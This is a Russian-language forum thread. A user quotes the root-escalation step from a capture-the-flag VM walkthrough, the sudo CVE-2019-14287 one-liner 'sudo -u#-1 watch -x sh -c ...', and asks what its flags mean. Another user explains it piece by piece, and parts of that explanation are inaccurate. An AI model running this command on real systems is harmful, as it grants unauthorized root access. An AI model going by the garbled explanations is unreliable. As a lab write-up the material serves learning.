не понимаю параметры команды

[addedie]

поясните что в первой команде, она используется для повышения привилегий но что за ключи непонимаю куда копать

Privilege Escalation

The author added this loophole because it is the latest zero-day exploit CVE: 2019-14287 and you should to proactive to bypass it.

Type following for escalating the root the shell:

sudo -u#-1 watch -x sh -c 'reset; exec sh 1>&0 2>&0' -u
cd root
cat final.txt

Conclusion: The VM was designed to cover each track of the kill chain by considering red team approach and proactive learning with latest vulnerabilities.

Hope you have enjoyed this machine. Happy Hacking!!!!!!!

вот эта
sudo -u#-1 watch -x sh -c 'reset; exec sh 1>&0 2>&0' -u

перед всем этим еще скрин что происходит до ввода и после
ведь поидее решеточка это коментарий означает , как он так сработал?

 

[f22]

sudo -u#-1 watch -x sh -c 'reset; exec sh 1>&0 2>&0' -u
sudo -u#-1 - выполнить данную команду от имени пользователя, который находится в -1 позиции списка. То есть скорее всего от имени root.
В современных версиях sudo, а именно старше 1.8.28 этот параметр уже нельзя использовать.

watch - утилита, которая запускает какую-то программу с нужным интервалом
-x sh выполнить sh - то есть запустить терминал
-с указывает, что дальше в команде будут идти дополнительные кавычки

Далее
reset - инициализирует терминал
exec sh - запустить sh - shell

1>&0 2>&0 - конструкции перенаправления вывода.
В данном случае 1 - стандартный вывод (экран), 2 - стандартная ошибка (отображение ошибок на экране).
И перенаправляются они на ввод клавиатуры - 0.

Заключительная -u относится к команде sh. Проверяет, существует ли файл и установлен ли у него пользовательский ID флаг.


По сути своей команда похожа на обёртку в обёртке, которая хитрым способом запускает консоль с правами суперпользователя из под себя. Но, как уже написал выше, эту уязвимость можно найти только на старых системах.

 

[addedie]

спасибо большое, и всеже приятно что гдето можно опробовать такой скил, кто знает куда занесет вдруг и попадется че подобное